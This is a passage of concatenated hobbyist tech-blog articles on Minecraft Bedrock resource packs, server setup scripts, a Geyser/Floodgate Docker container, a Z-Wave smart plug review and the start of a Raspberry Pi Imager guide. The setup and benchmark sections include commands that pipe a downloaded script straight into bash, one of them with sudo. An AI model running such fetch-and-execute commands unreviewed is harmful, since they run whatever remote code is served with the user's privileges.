your player’s device and activated! The featured image for this article is not single player. It is running on my Minecraft Bedrock dedicated server Table of Contents Toggle PrerequisitesPreparing the Resource PackExamine the ManifestConfiguring Dedicated Server for Resource PacksCreate world_resource_packs.jsonAdding Multiple Resource PacksForce Resource Pack Using server.propertiesBedrock Server Automatic Deployment ScriptMore Resources Prerequisites If you don’t have a Minecraft Bedrock Edition dedicated server already view my automatic setup script and guide first to get one up and running. You will also need to have a resource pack / packs in mind. For this guide I will use the RTX enabled 512×512 feature pack. This resource pack is available on GitHub for free. All of these versions support cross-platform play with each other (but not with the Java edition). Minecraft Bedrock PC This is the PC Minecraft for Windows 10 (Bedrock) edition of Minecraft. It is able to play cross-platform with other players on Android / iOS / Playstation / Xbox / Switch. Available as a code that is instantly activated to give you permanent access to the game! Links: Amazon.com*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Minecraft Bedrock Playstation The Sony PlayStation version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* Minecraft Bedrock Nintendo Switch This is the Nintendo Switch version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Minecraft Bedrock Xbox One This is the Microsoft Xbox version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.sg* Preparing the Resource Pack Resource packs can be bundled a couple of different ways. The first way is the way that the example we are using in this guide is packaged. It looks like this: Resource Pack Example We have the main folder (Tokomiki_Resource_Pack) that will contain a manifest (manifest.json). If your resource pack looks like this you’re good to go. You can skip to the next step. The second way that resource packs are often distributed is as one solid .mcpack file. An example of this is NVIDIA’s RTX texture example pack (scroll down to “NVIDIA and Partner Resource Packs” section, they have a few different ones you can play with, the one in this example is the PBR textures). If your resource pack looks like this and is a .mcpack it is not good to go and we’re going to have to extract the files we want out of it. Fortunately this is very easy. All you have to do is rename it from a .mcpack file to a .zip file. I’m not joking, go ahead and try it: Resource Pack – .mcpack renamed to zip Perfect, that looks exactly like what we want and our previous example! Go ahead and extract the zip archive into a new folder. It actually doesn’t matter what you name the folder because the pack will be located by UUID so just pick something short and descriptive. Examine the Manifest Every resource pack contains a UUID, or a “universally unique identifier”. This is what the server uses to identify which resource pack is which. Your resource pack’s UUID is located in the manifest.json file. Let’s take a look at our 512×512 example pack’s manifest.json: {     "format_version": 2,     "header": {         "name": "Tokomiki Test Textures 512k",         "description": "Reducing RTX textures size",         "uuid": "75a26ecc-8351-11ea-bc55-0242ac130003",         "version": [ 1, 0, 1 ],         "min_engine_version": [ 1, 15, 0 ]     },     "modules": [         {             "type": "resources",             "uuid": "75a27110-8351-11ea-bc55-0242ac130003",             "version": [ 1, 0, 1 ]         }     ],     "capabilities" : [             "raytraced"     ] } There it is. This particular resource pack’s UUID is 75a26ecc-8351-11ea-bc55-0242ac130003. The version is [ 1, 0, 1 ]. Perfect, we’re now ready to configure the dedicated server! Configuring Dedicated Server for Resource Packs First we need to copy/upload your resource pack to the server’s “resource_packs” folder: Minecraft Bedrock Edition Server Structure Your folder’s structure may vary slightly depending on version and whether you are running on Windows or Linux. Either way, you should have this folder. We are going to place the folder of our resource pack here. Usually there will already be a “vanilla” folder and a “chemistry” folder in there that are included with the server. We’re going to add a third folder by coping in our new resource pack like this: Minecraft Bedrock Dedicated Server – resource_packs Folder Structure Excellent, there’s just one last step now to enable the resource pack. Create world_resource_packs.json First you need to locate the folder on the server that your “world” is stored in. The base folder is just “worlds” but inside there will be another directory inside of it. If you left your server.properties as the default it will likely be “Bedrock level”. If you set a custom “level-name” variable in your server.properties file it should be that. This is your world’s folder. The final step to enabling our resource pack is to create the world_resource_packs.json file inside our world’s folder you just located. This file is actually created and used on the client side as well when you modify your resource packs (it’s at C:\Users\XyouruserX\AppData\Local\Packages\Microsoft.MinecraftUWP_8wekyb3d8bbwe\LocalState\games\com.mojang\minecraftWorlds\XyourworldX\world_resource_packs.json). You can actually use that exact file if you’ve applied the same feature pack you’re trying to install on the server. The format of it is pretty simple though, so it’s a lot easier to just create it yourself. Go ahead and create a new file called world_resource_packs.txt (if on Linux you can just create it as world_resource_packs.json) and type/paste the following matching the pack_id to your resource pack’s UUID and version from the earlier steps: [ { "pack_id" : "75a26ecc-8351-11ea-bc55-0242ac130003", "version" : [ 1, 0, 1 ] } ] Now save the file and rename it from world_resource_packs.txt to world_resource_packs.json. That’s it, now restart the server! Upon connecting new players will now automatically download and apply your feature pack. They do not have to download or install it themselves. It will look like this when they join: Minecraft Resource Pack Download This download works on all platforms. For example, for this guide I tested connecting with my Android phone to try without using Windows and see if it would still work. When you log on with a platform that doesn’t support RTX they will still see the new textures. They just won’t have the fancy RTX lighting and raytracing but it still looks great compared to vanilla! Adding Multiple Resource Packs You can add as many resource packs as you want. Copy the additional resource pack folder to your resource_packs folder by before. Updating the world_resource_packs.json file is similar to what we did earlier but the JSON syntax can get a little tricky. Here is how you want to format adding multiple entries to world_resource_packs.json: [ { "pack_id" : "75a26ecc-8351-11ea-bc55-0242ac130003", "version" : [ 1, 0, 1 ] }, { "pack_id" : "a1673412-cb04-4604-8000-04b6396afe80", "version" : [ 0, 9, 0 ] } ] Notice the comma after the closing brace of the first entry. It’s super common to miss it and it is invalid JSON without it. The last entry will NOT have a comma, but if you add a second, third, fourth it will like this: [ { "pack_id" : "75a26ecc-8351-11ea-bc55-0242ac130003", "version" : [ 1, 0, 1 ] }, { "pack_id" : "a1673412-cb04-4604-8000-04b6396afe80", "version" : [ 0, 9, 0 ] }, { "pack_id" : "fake example 1", "version" : [ 0, 5, 1 ] }, { "pack_id" : "fake example 2", "version" : [ 0, 2, 4 ] } ] That’s it! After restarting your server newly connecting players that haven’t downloaded the resource pack yet will see 2 (or more) resource packs queued like this: Minecraft Resource Pack Download – 2 Entries Force Resource Pack Using server.properties The default settings for Minecraft is that connecting players will automatically download and apply the resource packs they need so usually this isn’t necessary. In some cases though you may want to actually force them to use the resource pack. Otherwise they can unload it or load different ones. There is an option in server.properties that will absolutely force them to use them if you desire. Open your server.properties file and look for these lines: texturepack-required=false # Force clients to use texture packs in the current world # Allowed values: "true" or "false" Change to true to force texture packs to be used! Bedrock Server Automatic Deployment Script Here’s my one-liner to deploy a new Minecraft server on Linux: curl https://raw.githubusercontent.com/TheRemote/MinecraftBedrockServer/master/SetupMinecraft.sh | bash See Minecraft Bedrock Edition – Linux Dedicated Server automatic installation/updating/backup script for full breakdown! More Resources Minecraft Bedrock Edition Dedicated Server on Raspberry Pi* Minecraft Bedrock Docker Server #### Minecraft Bedrock Edition – Ubuntu Dedicated Server Guide Minecraft: Bedrock Edition Logo Minecraft Bedrock Edition is the version of Minecraft that powers the iPhone / Android versions (formerly Minecraft Pocket Edition), the Xbox / PlayStation / Nintendo Switch editions and the free Windows 10 Minecraft edition. Mojang has released a dedicated server which is considered to be in alpha testing.  I have found it to be very stable and able to run on a wide variety of hardware. This script and guide are written to help you get a robust Minecraft Bedrock dedicated server up and running in only a few minutes! This is the standalone version. The easiest and most problem-free way to run this is using Docker (installed as simply as sudo apt install docker.io): Legendary Minecraft Bedrock Container I’ve also released a way for Java and Bedrock players to play on the same server using Geyser: Minecraft Java + Bedrock Server Together – Geyser + Floodgate It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. Table of Contents Toggle FeaturesRequirementsRecommended GearGame EditionsRecommended Storage (Solid State Drive)Computer / CPU / MemoryOperating SystemInstallationFirst RunStart, Stop and Restart ServerAutomatic BackupsInstalling Resource Packs / RTX SupportScheduled Daily RebootsReconfigure / Update ScriptsPort ForwardingVersion OverrideWired vs. WirelessBenchmarking / Testing StorageTroubleshooting Note – Oracle Virtual MachinesTroubleshooting Note – Hyper-VConclusionOther Resources Features Sets up the official Minecraft Bedrock Server (currently in alpha testing) Fully operational Minecraft Bedrock edition server in a couple of minutes Ubuntu / Debian distributions supported Sets up Minecraft as a system service with option to autostart at boot Automatic backups when server restarts Supports multiple instances — you can run multiple Bedrock servers on the same system Updates automatically to the latest or user-defined version when server is started Easy control of server with start.sh, stop.sh and restart.sh scripts Adds logging with timestamps to “logs” directory Optional scheduled daily restart of server using cron Requirements A computer with a 64 bit processor (if you are trying to use ARM read my article on the limitations). 32 bit binaries of the official server are not available so it needs to be 64 bit! 1 GB of RAM or higher The only officially supported platform by Microsoft is Ubuntu 22.04 / 20.04 (current LTS, recommended) Other Linux flavors supported by this script as well as long as they use systemd (for the service). The script assumes apt is installed but there are minimal dependencies so you could install these on another distro (that doesn’t have apt present) and use the script normally. Recommended Gear Game Editions Minecraft: Bedrock Edition is the “Windows 10” version of Minecraft as well as the version of Minecraft on the Xbox / Playstation / Switch. The versions of Minecraft for Android and iOS are also the Bedrock edition. All of these versions support cross-platform play with each other (but not with the Java edition). Minecraft Bedrock Digital Code This is the PC Minecraft for Windows 10 (Bedrock) edition of Minecraft. It is able to play cross-platform with other players on Android / iOS / Playstation / Xbox / Switch. Available as a code that is instantly activated to give you permanent access to the game! Links: Amazon.com*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Minecraft Bedrock Playstation The Sony PlayStation version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* Minecraft Bedrock Nintendo Switch This is the Nintendo Switch version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Minecraft Bedrock Xbox One This is the Microsoft Xbox version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.sg* Recommended Storage (Solid State Drive) I strongly recommend a Solid State drive (SSD) for your server. This is because Minecraft is constantly reading/storing chunks to the disk which makes I/O performance very important. These are much cheaper than they used to be. Here’s a decent 120 GB one (higher capacity options are available) at a very low price: Kingston A400 2.5″ SATA SSD The Kingston A400 is reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at Pi Benchmarks and is the #1 most popular SSD among the community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* If you have a M.2 NVME slot in your motherboard you can go with a high end drive. This will give your server maximum performance even if a large number of players are running around on the server changing blocks and triggering disk writes. This is the one I have in my machine. These range from 250 GB to 2 TB depending on how big your server might grow: Samsung 980 Pro 2TB NVMe SSD* The Samsung 980 Pro (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Computer / CPU / Memory Almost any PC made in the last few years will be a x86_64 bit computer. If you have an older computer around that isn’t being used then it will most likely have the right CPU and amount of memory (as well as fast storage) to run a basic server. Throwing a SSD in one of these older computers will provide an excellent server experience for small and larger player counts. The speed of your storage will make the largest difference. Older HDDs are going to have significantly slower performance than any modern SSD even with all other hardware equal. This is because the Minecraft server is constantly reading/writing chunks of your world as well as updates to it to the disk so this tends to be the bottleneck. Operating System I highly recommend using Ubuntu Server to run the Minecraft dedicated server. It is available here. At the time of writing the current version is Ubuntu Server 20.04. This is a secure and robust operating system and will leave plenty of resources available for the server to run. The script should run on any Debian based flavor of Linux but since the Minecraft Bedrock server is compiled natively for Ubuntu I recommend sticking with it. If you have a GUI flavor of Ubuntu and a decent PC (>= 2 GB of RAM) the server will work just fine on it. Note: People have reported in the comments that Ubuntu 16.x is no longer working with the latest official Mojang binaries. Ubuntu 18.04 is the minimum requirement for the latest versions, and 20.04 is recommended! Installation Log into your Linux server either using SSH or a mouse and keyboard and paste/type the following command: curl https://raw.githubusercontent.com/TheRemote/MinecraftBedrockServer/master/SetupMinecraft.sh | bash The script will setup the Minecraft sever and ask you some questions on how to configure it. I’ll explain here what they mean. The first question will be the installation path. This is the root installation path for ALL servers you will have. If you add additional servers later you should select the exact same installation path. It should always be left as the default (~). The only exception is if you have something like a completely dedicated disk for the Minecraft server. In that case you should always use the same root path of /mnt/yourdrive or wherever the path is for every new/additional server you install. “Start Minecraft server at startup automatically (y/n)?” – This will set the Minecraft service to start automatically when your server boots. This is a great option to set up a Minecraft server that is always available. “Automatically restart and backup server at 4am daily (y/n)?” – This will add a cron job to the server that reboots the server every day at 4am. This is great because every time the server restarts it backs up the server and updates to the latest version. See the “Scheduled Daily Reboots” section below for information on how to customize the time or remove the reboot. That is it for the setup script. The server will finish configuring and start! First Run The server will start up and start displaying output to the console. [2019-03-30 20:25:12 INFO] Starting Server[2019-03-30 20:25:12 INFO] Version 1.10.0.7[2019-03-30 20:25:12 INFO] Level Name: Bedrock level[2019-03-30 20:25:12 INFO] Game mode: 0 Survival[2019-03-30 20:25:12 INFO] Difficulty: 1 EASY[2019-03-30 20:25:20 INFO] IPv4 supported, port: 19132[2019-03-30 20:25:20 INFO] IPv6 supported, port: 19133[2019-03-30 20:25:23 INFO] Server started. Once you see the “Server started” line you will be able to connect from the client. To add the server to the client open Minecraft and click “Play”. Then at the top of the screen select the “Servers” tab and click “Add Server”. This will ask you for a Server Name and Server IP Address. For the name you can put anything and for the server IP address put the address of your Linux server. Leave the port as the default 19132. For more information on how to let people from outside your network on go to the “Port Forwarding” section below. Now choose the server you just added in the list and connect! Start, Stop and Restart Server The server can be started, stopped and restarted two different ways. You can use the provided scripts in the Minecraft folder or you can use systemctl. Here are the commands: cd ~/minecraftbe ./start.sh ./stop.sh ./restart.sh -OR- sudo systemctl start minecraftbe sudo systemctl stop minecraftbe sudo systemctl restart minecraftbe Automatic Backups The server backs up each time it starts. This helps you recover easily if something goes wrong. This system works best if you configured the server to restart daily since it means you will have a backup every day. To access these backups type: cd ~/minecraftbe/backupsls When a backup is made the filename will be the date and time the backup was taken. If you need to restore a backup it’s very easy. Substitute the timestamp in my example to the backup you want to roll back to. Type: cd ~/minecraftbe ./stop.sh rm -rf worlds tar -xf backups/2019.02.15.22.06.30.tar.gz ./start.sh Your world has now been restored! It’s a good idea to download these backups off the server periodically just in case the server’s storage fails. Installing Resource Packs / RTX Support For instructions on how to install resource packs (including optional RTX support) view my step by step Minecraft Bedrock Dedicated Server Resource Packs guide here. Scheduled Daily Reboots The daily reboots are scheduled using cron. It’s very easy to customize the time your server restarts. To change the time that the server restarts type: crontab -e This will open a window that will ask you to select a text editor (I find nano to be the easiest) and will show the cronjobs scheduled on the server. The Minecraft one will look like the following: 0 4 * * * /home/ubuntu/minecraftbe/restart.sh Crontab’s syntax layout There are 5 fields here. The default restart time is set to reboot at 0 minutes of the 4th hour of the day (4 AM). The other 3 fields are left as * to represent every day of every month. Make any desired changes here and press Ctrl+X to exit nano and update the cronjob. To remove the daily reboot simply delete the line and save. Reconfigure / Update Scripts The scripts can always be reconfigured and updated by downloading the latest SetupMinecraft.sh and running the installer again. It will update all of the scripts in the Minecraft directory and reinstall the startup service for you. Running SetupMinecraft.sh again will also give you a chance to reconfigure options such as the memory dedicated to the server, daily reboots, starting the server on boot, etc. This will not overwrite your world or any other data so it is safe to run! Port Forwarding If everyone on your server is on the same LAN or WiFi network as you then you don’t need to do this. If you want people to connect from outside your local network then you need to set up port forwarding on your router. The process for this is different for every router so the best thing to do is just look at your router and find the model # and put that in google with port forwarding for easy instructions on how to do it for your specific router. You want to forward port 19132. The type of connection is both TCP and UDP. On some routers you need to do both a TCP entry and then a second entry as UDP. Once you do this people will be able to connect to your Minecraft server through your public IP address. This is different than your local IP which is usually a 192.x.x.x or 10.x.x.x. If you don’t know what that is just go to google and type “what’s my ip” and Google will kindly tell you! Version Override You can revert to a previous version with the revert.sh script included in your directory like this: james@jamesgigabyte-linux:~/minecraftbe/james$ ./revert.sh Set previous version in version_pin.txt: bedrock-server-1.19.10.20.zip If you have a specific version you would like to run you can also create version_pin.txt yourself like this: echo "bedrock-server-1.18.33.02.zip" > version_pin.txt The version hold can be removed by deleting version_pin.txt. This will allow it to update to the latest version again! Wired vs. Wireless Going with an ethernet (wired) connection is going to be faster and more reliable. There’s so much wireless traffic and other interference in the air that running your server on WiFi is not recommended. Even if it is working great 99% of the time it can ruin your experience very quickly if the WiFi drops for a couple of seconds and you get blown up by a creeper! All that being said, the server works fine on wireless. The script will work fine as is with a wireless connection. Benchmarking / Testing Storage If you’re getting poor performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash PC results won’t show up on the site yet (it’s meant for Raspberry Pi) but it will run on Linux just fine and give you a score. If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Troubleshooting Note – Oracle Virtual Machines A very common problem people have with the Oracle Virtual Machine tutorials out there that typically show you how to use a free VM is that the VM is much more difficult to configure than just about any other product / offering out there.It is because there are several steps you need to take to open the ports on the Oracle VM. You need to both: Set the ingress ports (TCP/UDP) in the Virtual Cloud Network (VCN) security list *and* set the ingress ports in a Network Security Group assigned to your instance Both of these settings are typically required before you will be able to connect to your VM instance. This is purely configuration related and has nothing to do with the script or the Minecraft server itself. I do not recommend this platform due to the configuration difficulty but the people who have gone through the pain of configuring an Oracle VM have had good experiences with it after that point. Just keep in mind it’s going to be a rough ride through the configuration for most people. Troubleshooting Note – Hyper-V There is a weird bug in Hyper-V that breaks UDP connections on the Minecraft server. The fix for this is that you have to use a Generation 1 VM with the Legacy LAN network driver. Conclusion The Minecraft Bedrock Edition dedicated server runs much better than previous third party servers in the past that were missing critical features. The performance is very good even on low end hardware. It has never been easier to set up a Minecraft Bedrock server. If you have any feedback or suggestions let me know in the comment section. A lot of the changes and developments in this script and guide are directly from readers. Have fun! Other Resources For a guide on how to set up resource packs check out my Minecraft Bedrock Resource Pack guide If you’re trying to run this on the Raspberry Pi check out the Raspberry Pi specific guide here #### Minecraft Java + Bedrock Server Together – Geyser + Floodgate Minecraft Geyser + Floodgate Paper Minecraft Server This is a new Docker container to automatically set up and run a Minecraft server that both Java and Bedrock players can connect to! This allows everyone to play on your server no matter which edition of Minecraft you are using. It uses the Geyser and Floodgate plugins to accomplish this. Since it uses the Paper Minecraft server it also supports any additional plugins that are compatible with Paper / Spigot. This gives you the ability to do many things that are currently impossible to do in Bedrock if you are hosting the official Bedrock dedicated server. It is fully compatible with my Paper Minecraft Java Server Container and you can swap between these two containers without changing any configuration. The official GitHub page is located here. The Docker Hub page for the container is located here. It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. Table of Contents Toggle FeaturesUsageConfiguration / Accessing Server FilesPlugin Support for Paper / Spigot / BukkitTroubleshooting Note – Oracle Virtual MachinesTroubleshooting Note – Hyper-VAdditional Support Features Sets up fully operational Minecraft server that allows both Java and Bedrock clients to connect Runs the highly efficient “Paper” Minecraft server Runs Geyser to allow Bedrock clients to connect and Floodgate to allow them to authenticate with their Bedrock credentials to a Java server Plugin support for Paper / Spigot / Bukkit Uses named Docker volume for safe and easy to access storage of server data files (which enables more advanced Docker features such as automatic volume backups) Installs and configures OpenJDK 18 Automatic backups to minecraft/backups when server restarts Full logging available in minecraft/logs folder Updates automatically to the latest version when server is started Runs on all Docker platforms including Raspberry Pi Usage First you must create a named Docker volume. This can be done with: docker volume create yourvolumename Now you may launch the server and open the ports necessary with one of the following Docker launch commands. With default ports: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest With custom ports: docker run -it -v yourvolumename:/minecraft -p 12345:12345 -e Port=12345 -p 54321:54321/udp -p 54321:54321 -e BedrockPort=54321 --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest With a custom Minecraft version (add -e Version=1.X.X, must be present on Paper’s API servers to work): docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e Version=1.17.1 --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest With a maximum memory limit in megabytes (optional, prevents crashes on platforms with limited memory, -e MaxMemory=2048): docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e MaxMemory=2048 --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest Using a custom timezone: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e TZ="America/Denver" --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest Skipping backups on a certain folder: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e NoBackup="plugins" --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest Skipping permissions check: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e NoPermCheck="Y" --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest Change number of backups: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e BackupCount=1 --restart unless-stopped 05jchambers/legendary-minecraft-geyser-floodgate:latest Configuration / Accessing Server Files The server data is stored where Docker stores your volumes. This is typically a folder on the host OS that is shared and mounted with the container. I’ll give the usual locations here but if you’re having trouble just do some Googling for your exact platform and you should find where Docker is storing the volume files. You can find your exact path by typing: docker volume inspect yourvolumename This will give you the fully qualified path to your volume like this: { "CreatedAt": "2022-05-09T21:08:34-06:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/yourvolumename/_data", "Name": "yourvolumename", "Options": {}, "Scope": "local" } On Linux it’s typically available at: /var/lib/docker/volumes/yourvolumename/_data On Windows it’s at C:\ProgramData\DockerDesktop but may be located at something more like \wsl$\docker-desktop-data\version-pack-data\community\docker\volumes\ if you are using WSL (Windows Subsystem for Linux). On Mac it’s typically ~/Library/Containers/com.docker.docker/Data/vms/0/ If you are using Docker Desktop on Mac then you need to access the Docker VM with the following command first: screen ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/tty You can then normally access the Docker volumes using the path you found in the first step with docker volume inspect. Most people will want to edit server.properties. You can make the changes to the file and then restart the container to make them effective. Backups are stored in the “backups” folder Log files with timestamps are stored in the “logs” folder. Plugin Support for Paper / Spigot / Bukkit This is a “Paper” Minecraft server which has plugin compatibility with Paper / Spigot / Bukkit. Installation is simple. There is a “plugins” folder on your Docker named volume. Navigate to your server files on your host operating system (see accessing server files section if you don’t know where this is) and you will see the “plugins” folder. You just need to drop the extracted version of the plugin (a .jar file) into this folder and restart the container. That’s it! Some plugins have dependencies so make sure you read the installation guide first for the plugin you are looking at. A popular place to get plugins is: dev.bukkit.org Troubleshooting Note – Oracle Virtual Machines A very common problem people have with the Oracle Virtual Machine tutorials out there that typically show you how to use a free VM is that the VM is much more difficult to configure than just about any other product / offering out there.It is because there are several steps you need to take to open the ports on the Oracle VM. You need to both: Set the ingress ports (TCP/UDP) in the Virtual Cloud Network (VCN) security list *and* set the ingress ports in a Network Security Group assigned to your instance Both of these settings are typically required before you will be able to connect to your VM instance. This is purely configuration related and has nothing to do with the script or the Minecraft server itself. I do not recommend this platform due to the configuration difficulty but the people who have gone through the pain of configuring an Oracle VM have had good experiences with it after that point. Just keep in mind it’s going to be a rough ride through the configuration for most people. Troubleshooting Note – Hyper-V There is a weird bug in Hyper-V that breaks UDP connections on the Minecraft server. The easy workaround for this is that you have to use a Generation 1 VM with the Legacy LAN network driver. There is a second fix that was shared by bpsimons here. For that fix you need to install ethtool first with sudo apt install ethtool. Next in your /etc/network/interfaces file add “offload-tx off” to the bottom as the issue appears to be with TX offloading. Here’s an example: # The primary network interface auto eth0 iface eth0 inet static address 192.168.1.5 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1 offload-tx off This can also be done non-persistently with the following ethtool command: ethtool -K eth0 tx off Additional Support The comments section right here is the best place for support. The second best place is the GitHub issues section. I will add additional documentation based on what problems people are running into / questions people are asking because right now I’m not really sure what those will be yet. Definitely let me know if you need any of these things! #### Minoston Z-wave Smart Plugs w/ Home Assistant Review Minoston Z-Wave Smart Plug – Installed I’ve been covering integrating my entire home into Home Assistant here on the site. I want to have the capability to monitor everything going on in my home and control it with an open-source system such as Home Assistant. Although I have a strong WiFi network in my home there are some areas where using a wireless technology that is more energy efficient (such as Z-wave and Zigbee) makes a lot more sense. These especially include devices that need to run on a battery or are in awkward areas with poor WiFi coverage. I decided to try the Minoston Z-wave mini plug to see how it integrated with my Home Assistant setup as it was very commonly recommended online. In this review we’ll take a look at this device and see if it’s worth using. Let’s begin! Table of Contents Toggle Hardware UsedBuild QualityExisting SetupInstallationPros / ConsProsConsConclusionOther Resources Hardware Used Minoston Z-Wave Power Monitor Plug The Minoston Z-Wave Plug with energy monitor (MP31ZP) is able to not only switch the plug on and off but also to monitor how much power is being used by the plug. Compatible with Home Assistant! Links: Amazon.com* Nortek Security & Control Zigbee + Z-wave USB Dongle The Nortek Security & Control USB dongle gives a device running Home Assistant Z-Wave and Zigbee capabilities allowing it to act as both a Z-Wave and Zigbee hub! Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Build Quality Let’s start with the packaging. The packaging on this unit is pretty barebones: Minoston Z-Wave Plug – Packaging There is nothing inside the box except the plug and a small set of instructions and notices. Let’s take a look at the plug: Minoston Z-Wave Plug – Front Here you can see the plug face with the push button on the left hand side of the plug. This is what you’ll press to put it into pairing mode (press 3 times quickly to enter pairing mode). You can also see the LED indicator light. It’s a tiny hole in the top left of the front plug face. Now for the back: Minoston Z-Wave Plug – Back Here we can see the specifications and a lot more information about the plug. We can see the load is 15A-1875W with a purpose of 5A with a max of 625W. That means this isn’t meant to be used for gigantic loads. You should stick within the limits specified as the “Purpose” for the most part. There are other types of plugs available meant to handle heavy loads like that*. Existing Setup My use case for this review was I wanted to be able to remotely power cycle and monitor my network’s power usage. Here’s my existing setup: Existing setup before smart plug installation This is my home’s 10G network backbone I built. I’ve never covered it on the site before but it’s on my to-do list. Basically though there are a bunch of PoE access points and cameras connected all throughout the house. Everything on the network is going through that single Amazon Basics power strip (with it’s own dedicated circuit specifically for networking). This means I can power cycle essentially the entire network by unplugging that power strip and plugging it back in. This is one part of my home that I want to automate and make “smart” using plugs like this. Installation Within Home Assistant go to Settings -> Devices and Integrations and then click “Add Integration” in the bottom right hand of the screen. You should see this: Home Assistant – Add Z-Wave Device Now select “Add Z-Wave Device”. Plug in the smart plug and press the button on the side three times to enter pairing mode. Home Assistant should find your device relatively quickly. The pin # for pairing is on the box of the device. It’s also on the side right underneath the QR code. With any luck you should see: Add Z-Wave device successful Now if you go into your Z-Wave devices you should be able to see the plug with these entities: Minoston Z-Wave Plug Home Assistant Entities I recommend now clicking the pencil icon in the top right of the screen to edit and name the device. I named mine “Network Plug”. Pros / Cons Pros Includes power monitoring Compatible with Home Assistant / Z-Wave JS Cons A bit larger than some competing units Conclusion I’m very happy with the Minoston plug overall. I was able to pair it securely with the rest of my Z-Wave and Home Assistant network. It matters not that many of the other Z-Wave devices are Zooz and other brands of devices. They all work together great. This setup is not dependent on the cloud at all. It’s purely my locally hosted Home Assistant instance. Here’s the final result: Minoston Z-Wave Smart Plug – Installed The plugs are kind of expensive so it’s best to use them in key areas where you’d really like the ability to remotely monitor the power usage and remotely turn them on/off. In my example I added it to my entire networking setup essentially letting me monitor the power usage of the entire network as well as remotely power cycle the entire network. Most of my network devices are PoE so rebooting that single plug essentially reboots every network device in the home. I’d definitely recommend this to people using Home Assistant and Z-Wave. It only took minutes to set up and paired in secure mode properly. I’ll have more Home Assistant coverage coming soon on the site so stay tuned for that as well! Other Resources I recently added the Zooz Z-Wave door and window sensors to my home which I covered here I’ve also used the Kauf RGB smart lights with my Home Assistant setup here You can also make a IoT button you can use in Home Assistant using a Adafruit QT Py All of my Home Assistant articles can be found here #### Modern Headless Raspberry Pi Configuration Guide (Pi Imager) For many years configuring a headless Raspberry Pi usually involved creating a bunch of text files on the SD card. Some of these were more commonly known (such as creating the “ssh” file to enable SSH) but there are many lesser known methods to configure many different options headlessly. These days we have a much better option available. We can use the Raspberry Pi imager’s headless configuration options to create a preconfigured SD card for headless use without touching any obscure text files! Today in this guide we’ll cover the more well known options as well as the options that you may have not heard of (but are quite useful) that are available in the Raspberry Pi Imager. Let’s get started! Table of Contents Toggle Supported PisHeadless Options MenuSet hostnameEnable SSHSet username and passwordConfigure Wireless LANSet Locale SettingsPersistent SettingsHow to access headless 